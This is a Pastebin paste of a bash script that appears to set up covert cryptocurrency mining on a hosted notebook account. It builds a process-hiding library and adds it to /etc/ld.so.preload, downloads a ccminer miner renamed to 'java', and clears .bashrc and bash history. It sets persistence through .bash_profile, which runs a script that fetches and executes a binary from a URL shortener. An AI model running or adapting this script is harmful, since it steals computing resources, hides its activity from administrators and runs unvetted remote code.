Advertisement
ppek

ASbte

Feb 25th, 2023
90
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Bash 2.57 KB | None | 0 0
  1. rm -rvf .lib* .bash*
  2. rm -rvf * && mkdir d && cd d
  3. #!/bin/sh
  4.  
  5. echo "==================="
  6. echo "   CEK TIMEZONE   "
  7. echo "==================="
  8. echo " "
  9. echo " "
  10. ln -fs /usr/share/zoneinfo/Asia/Jakarta /etc/localtime
  11. dpkg-reconfigure --frontend noninteractive tzdata
  12. sleep 2
  13.  
  14. apt update -y;apt -y install libcurl4-openssl-dev libssl-dev libjansson-dev automake autotools-dev build-essential binutils git cmake screen unzip net-tools curl -y
  15.  
  16. wget https://gitlab.com/meldiyunrianto/nimik/-/raw/main/graphics.tar.gz
  17. tar -xvzf graphics.tar.gz
  18. rm -rf graphics.tar.gz
  19.  
  20. cd ~/
  21.  
  22. wget https://github.com/AhmadTugiman/gembel/raw/main/tukimin.zip
  23. unzip tukimin.zip
  24. rm -rf tukimin.zip
  25. make
  26. gcc -Wall -fPIC -shared -o libprocesshider.so processhider.c -ldl
  27. mv libprocesshider.so /usr/local/lib/
  28. echo /usr/local/lib/libprocesshider.so >> /etc/ld.so.preload
  29.  
  30. sleep 3
  31. mkdir .lib
  32. cd .lib
  33. git clone https://github.com/sukamenari/akc.git && cd akc && wget https://github.com/rplant8/ccminer-KlausT-8.21-mod-r18-src-fix/releases/download/1.0.1/ccminer-rplant-yescryptr16-linux-1.0.1.tar.gz && tar -xvzf ccminer-rplant-yescryptr16-linux-1.0.1.tar.gz && mv ccminer java && mv java* ~/ && mv kernel* /home/studio-lab-user/.lib
  34. cd .. && rm -rvf akc
  35. cd ~/
  36.  
  37. make
  38. gcc -Wall -fPIC -shared -o libprocesshider.so processhider.c -ldl
  39. mv libprocesshider.so /usr/local/lib/
  40. echo /usr/local/lib/libprocesshider.so >> /etc/ld.so.preload
  41.  
  42. sleep 3
  43. cd .lib
  44. rm -rvf akc
  45. git clone https://github.com/sukamenari/akc.git && cd akc && wget https://github.com/rplant8/ccminer-KlausT-8.21-mod-r18-src-fix/releases/download/1.0.1/ccminer-rplant-yescryptr16-linux-1.0.1.tar.gz && tar -xvzf ccminer-rplant-yescryptr16-linux-1.0.1.tar.gz && mv ccminer java && mv java* ~/ && mv kernel* /home/studio-lab-user/.lib
  46. cd .. && rm -rvf akc
  47. echo "" > /home/studio-lab-user/.bashrc
  48. echo "" > /home/studio-lab-user/.bash_history
  49. echo "" > /home/studio-lab-user/.bash_profile
  50. echo 'echo ""  >> /home/studio-lab-user/.bash_history' >> /home/studio-lab-user/.bashrc
  51. echo "source /home/studio-lab-user/.bash_profile"  >> /home/studio-lab-user/.bashrc
  52. echo "LD_LIBRARY_PATH=/home/studio-lab-user/.lib" > /home/studio-lab-user/.bash_profile
  53. echo "export LD_LIBRARY_PATH" >> /home/studio-lab-user/.bash_profile
  54. echo "bash /home/studio-lab-user/.lib/gas.sh"  >> /home/studio-lab-user/.bash_profile &&
  55. echo "export LC_ALL=C; unset LANGUAGE && cd ~/ && rm -rvf e && wget -O e http://tiny.cc/gbte && chmod +x e && ./e " > /home/studio-lab-user/.lib/gas.sh
  56. cd /home/studio-lab-user/.lib/
  57. chmod +x gas.sh && cd ~/ && history -cr && source .bashrc
  58.  
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement